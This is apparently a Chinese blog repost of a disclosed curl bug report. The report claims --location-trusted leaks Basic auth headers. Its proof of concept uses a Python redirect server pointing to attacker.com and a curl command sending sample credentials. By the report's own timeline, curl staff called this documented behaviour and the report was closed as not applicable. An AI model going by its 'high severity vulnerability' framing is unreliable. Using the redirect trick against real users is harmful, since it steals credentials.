Curl --location-trusted 选项导致授权头跨域泄露漏洞分析

本文详细分析了Curl工具中--location-trusted选项的安全漏洞,该漏洞会导致Basic认证凭据在跨域重定向过程中被泄露,攻击者可通过控制重定向端点窃取敏感凭证,影响自动化脚本和CI/CD管道安全。

Authorization Header Leak via –location-trusted in Curl

漏洞概述

Curl的--location-trusted选项在跟随跨域重定向时会转发Authorization头,将Basic认证凭据暴露给不可信的主机。

如果攻击者控制重定向端点,他们可以从任何使用Basic认证的请求中窃取凭证。

与出于安全考虑会剥离认证头的--location选项不同,--location-trusted会在没有任何警告的情况下转发这些头信息,导致意外的凭证泄露。

这违反了身份验证的最佳实践,并带来了严重的安全风险。

受影响版本

运行:

1
curl -V

示例输出:

1
2
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.10 zlib/1.3.1
Release-Date: 2024-01-15

测试环境:

  • Linux (Ubuntu 22.04)
  • macOS 14 Sonoma
  • Windows 11 (WSL2)

复现步骤

1. 启动恶意重定向服务器

在攻击者控制的机器上运行此Python脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://attacker.com")
        self.end_headers()

server = HTTPServer(("0.0.0.0", 8080), RedirectHandler)
server.serve_forever()

2. 使用认证和–location-trusted运行Curl

执行:

1
curl -v -L --user "admin:password" --location-trusted http://localhost:8080

预期行为

  • Curl在重定向到不同域时应剥离Authorization头

实际行为

  • Curl将Authorization头发送到attacker.com,暴露凭据

支持材料/参考

  • Curl调试日志(-v --trace curl_trace.txt)- 显示泄露的Authorization头
  • 数据包捕获(tcpdump/Wireshark)- 确认凭据被跨域发送
  • PoC Python代码(redirect_poc.py)- 本地复现漏洞

影响:攻击者可实现的目标

凭证暴露

  • 如果攻击者控制重定向,任何Basic认证凭据(API密钥、管理员密码、云服务令牌)都会被泄露

权限提升

  • 攻击者可以未经授权访问管理界面、API或云服务,导致完全系统妥协

DevOps和CI/CD管道风险

  • 使用curl的自动化脚本和DevOps管道可能会无意中将凭据暴露给不可信的重定向目标

建议修复

受影响用户的即时解决方案

  • 涉及身份验证时避免使用--location-trusted
  • 通过解析curl -i输出来手动跟随重定向
  • 尽可能使用API令牌而不是Basic认证

Curl开发者的永久修复

  • 自动剥离跨域重定向的Authorization头
  • 更新文档以警告用户--location-trusted的风险
  • 在转发认证凭据前显示安全警告

最终思考

此漏洞将敏感凭据暴露给不可信的第三方,可能导致凭据盗窃、账户接管和安全漏洞。修复此问题将有助于保护自动化脚本、CI/CD管道和安全意识强的开发者免于无意中泄露凭据。

影响详情

Curl中的location-trusted选项在跟随跨域重定向时会转发Authorization头,将Basic认证凭据暴露给不可信的主机。

这种行为造成了安全风险,控制重定向端点的攻击者可以从任何使用Basic认证的请求中窃取凭据。与出于安全原因剥离认证头的--location不同,--location-trusted会在没有任何警告的情况下转发这些头信息,导致意外的凭据泄露。

此问题违反了身份验证的最佳实践,可能导致凭据盗窃、权限提升和安全漏洞,特别影响依赖Curl的DevOps管道、自动化脚本和CI/CD环境。

推荐的修复方法是自动剥离跨域重定向的Authorization头,警告用户--location-trusted的风险,并更新文档以反映此问题。

时间线

  • 2025年1月18日 4:07 UTC:voggerloops向curl提交报告
  • 2025年1月18日 5:49 UTC:curl工作人员jimfuller评论,认为这是文档中明确描述的行为
  • 2025年1月18日 7:44 UTC:voggerloops关闭报告并将状态改为"不适用"
  • 2025年7月1日 14:11 UTC:curl工作人员bagder请求披露此报告
  • 2025年7月3日 6:43 UTC:bagder披露此报告

报告详情

项目 详情
报告ID #2946924
严重性 高 (7 ~ 8.9)
披露时间 2025年7月3日 6:43 UTC
弱点类型 通过发送数据的信息暴露
CVE ID
赏金
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计